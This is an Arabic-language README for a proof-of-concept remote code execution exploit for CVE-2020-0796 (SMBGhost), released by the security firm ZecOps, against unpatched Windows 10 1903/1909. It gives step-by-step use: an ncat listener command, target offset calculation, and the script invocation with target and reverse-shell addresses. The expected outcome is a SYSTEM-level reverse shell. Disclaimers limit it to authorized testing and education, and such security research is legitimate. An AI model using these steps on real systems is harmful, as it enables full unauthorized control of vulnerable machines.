
استغلال إثبات المفهوم لتنفيذ التعليمات البرمجية عن بُعد لـ CVE-2020-0796 (SMBGhost) يستهدف Windows 10 1903/1909 غير المصحح. يوفر قشرة عكسية عبر ثغرة بروتوكول SMB. مخصص للاختبار المصرح به والتعليم.
(c) 2020 ZecOps, Inc. - https://www.zecops.com - اكتشف أخطاء المهاجمين
POC لتنفيذ التعليمات البرمجية عن بُعد لـ CVE-2020-0796 / "SMBGhost"
النتيجة المتوقعة: قشرة عكسية بصلاحية الوصول إلى النظام.
مخصصة للأغراض التعليمية والاختبار فقط في بيئات الشركات.
لا تتحمل ZecOps أي مسؤولية عن هذا الكود، واستخدامه على مسؤوليتك الخاصة.
يرجى الاتصال بـ [email protected] إذا كنت مهتمًا بأدوات DFIR بدون وكيل للخوادم ونقاط النهاية والأجهزة المحمولة لاكتشاف SMBGhost وأنواع الهجمات الأخرى تلقائيًا.
تأكد من تثبيت Python و ncat.
شغّل calc_target_offsets.bat على الكمبيوتر الهدف، واضبط الإزاحات في أعلى ملف SMBleedingGhost.py وفقًا لمخرجات السكربت (انظر أيضًا الملاحظة أدناه).
شغّل ncat باستخدام وسائط سطر الأوامر التالية:
ncat -lvp <port>
حيث <port> هو رقم المنفذ الذي سيستمع عليه ncat.
شغّل SMBleedingGhost.py باستخدام وسائط سطر الأوامر التالية:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
حيث <target_ip> هو عنوان IP للكمبيوتر الهدف المعرض للثغرة. و<reverse_shell_ip> و <reverse_shell_port> هما عنوان IP ورقم المنفذ الذي يستمع عليه ncat.
إذا سارت الأمور على ما يرام، فسيعرض ncat قشرة توفر وصولًا إلى النظام على الكمبيوتر الهدف.
ملاحظة: قد تتساءل لماذا من الضروري تشغيل سكربت calc_target_offsets.bat على الكمبيوتر الهدف، ألا يجعله ذلك يفقد الغاية الأساسية من كون تنفيذ التعليمات البرمجية عن بُعد عن بُعدًا فعلًا. هذه الإزاحات ليست عشوائية، وهي نفسها على جميع نسخ Windows من نفس إصدار Windows. يمكن جعل الهجوم أكثر شمولية من خلال اكتشاف إصدار Windows الهدف وضبط الإزاحات تلقائيًا، أو بعدم الاعتماد عليها إطلاقًا، لكن هذا مجرد POC وفعلنا ما هو أبسط. نحن نعتبر أيضًا أنه من الجيد ألا يكون هذا الـ POC شاملًا، وغير مناسب لاستخدامات أخرى غير الاختبار والتعليم.

الإصداران 1903 و1909 من Windows 10 متأثران. الإصدارات غير المُحدَّثة من Windows 10 1903 غير مدعومة بسبب خطأ في إلغاء الإشارة null في Windows (تم إصلاحه في KB4512941).
نظرًا لطبيعة الاستغلال، يعمل هذا الـ POC بشكل أفضل على الأهداف التي تعمل على جهاز كمبيوتر (أو جهاز افتراضي) بمعالج منطقي واحد. كما يجب أن تكون الأهداف التي تحتوي على أكثر من معالج منطقي وتعمل داخل VirtualBox مدعومة، لكن الـ POC أقل موثوقية في هذه الحالة. قد لا تكون الأهداف الأخرى مدعومة. للتفاصيل، راجع المقالة التقنية أدناه.